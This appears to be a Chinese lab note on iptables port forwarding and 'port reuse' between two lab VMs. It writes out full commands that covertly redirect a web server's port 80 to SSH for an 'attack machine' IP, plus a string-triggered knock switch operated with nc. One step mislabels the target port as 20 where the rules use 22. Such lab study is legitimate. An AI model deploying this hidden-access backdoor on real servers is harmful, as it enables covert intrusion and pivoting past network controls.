端口复用参考:Linux利用iptables做端口复用-Linux实验室 (wanyunshuju.com)
端口转发参考:使用 iptables 进行端口转发 - 51nb - 博客园 (cnblogs.com)
实验
一台虚拟机:192.168.2.2(私网ip),8080端口tomcat服务
一台虚拟机:192.168.3.6(公网ip),192.168.2.10(私网ip),80端口apache服务
一、端口转发(将192.168.2.2的8080端口转发到192.168.3.6的9090端口)
1、虚拟机(192.168.3.6)开启转发功能
vim /etc/sysctl.conf
输入net.ipv4.ip_forward=1
使用命令sysctl -p
使配置生效
2、添加iptables规则实现端口转发
iptables -t nat -I PREROUTING -i ens36 -d 192.168.3.6 -p tcp --dport 9090 -j DNAT --to-destination 192.168.2.2:8080
3、转发成功
二、端口复用
(一)本机端口复用(将192.168.3.6的80端口设为自己的22端口,设定只针对源IP为192.168.3.3应用该规则)
1、设置iptables规则
iptables -t nat -I PREROUTING -i ens36 -s 192.168.3.3 -d 192.168.3.6 -p tcp --dport 80 -j REDIRECT --to-port 22
2、攻击机192.168.3.3使用XShell对192.168.3.6的80端口进行SSH连接
(二)端口复用(将192.168.3.6的80端口设为192.168.2.2(不出网机器)的22端口,设定只针对源IP为192.168.3.3应用该规则)
1、虚拟机(192.168.3.6)开启转发功能
vim /etc/sysctl.conf
输入net.ipv4.ip_forward=1
使用命令sysctl -p
使配置生效
2、设置iptables规则,当且仅当192.168.3.3访问时,192.168.3.6的80端口的http服务变成192.168.2.2的22端口(即iptables流量转发)
iptables -t nat -I PREROUTING -i ens36 -s 192.168.3.3 -d 192.168.3.6 -p tcp --dport 80 -j DNAT --to-destination 192.168.2.2:22
3、验证
1)当192.168.3.3进行访问时:
2)当其他ip机器访问时
(三)拓展:使用该方式会造成攻击机192.168.3.3对192.168.3.6的http访问失效。这里在网上找到了一个解决方案之一:
利用TCP协议做遥控开关,这样攻击方在需要访问http服务的时候可以及时切换
1、创建端口复用链子
iptables -t nat -N MyChains
2、创建端口复用规则,访问192.168.3.6:80的流量转发至22端口
iptables -t nat -A MyChains -p tcp -j REDIRECT --to-port 22
(如果要转发到其他ip机器,注意需要开启转发功能)
3、设置开启开关,当接收到一个含有"nihao123coming"的TCP包,则将来源IP添加到MyChains的列表中
iptables -A INPUT -p tcp -m string --string "nihao123coming" --algo bm -m recent --set --name MyChains --rsource -j ACCEPT
4、设置关闭开关,如果接收到含有"nihao123leaving"的TCP包,则将来源IP从MyChains的列表中删除
iptables -A INPUT -p tcp -m string --string "nihao123leaving" --algo bm -m recent --name MyChains --remove -j ACCEPT
5、当发现SYN包的来源IP处于MyChains的列表中,将跳转到MyChains链进行处理,有效时间为3600秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name MyChains --rsource -j MyChains
4、开启复用,开启后发送开启命令的机器到目标80端口的流量将被转发到目标20端口
nc 192.168.3.6 80
nihao123coming
验证:
5、关闭复用
nc 192.168.3.6 80
nihao123leaving
验证: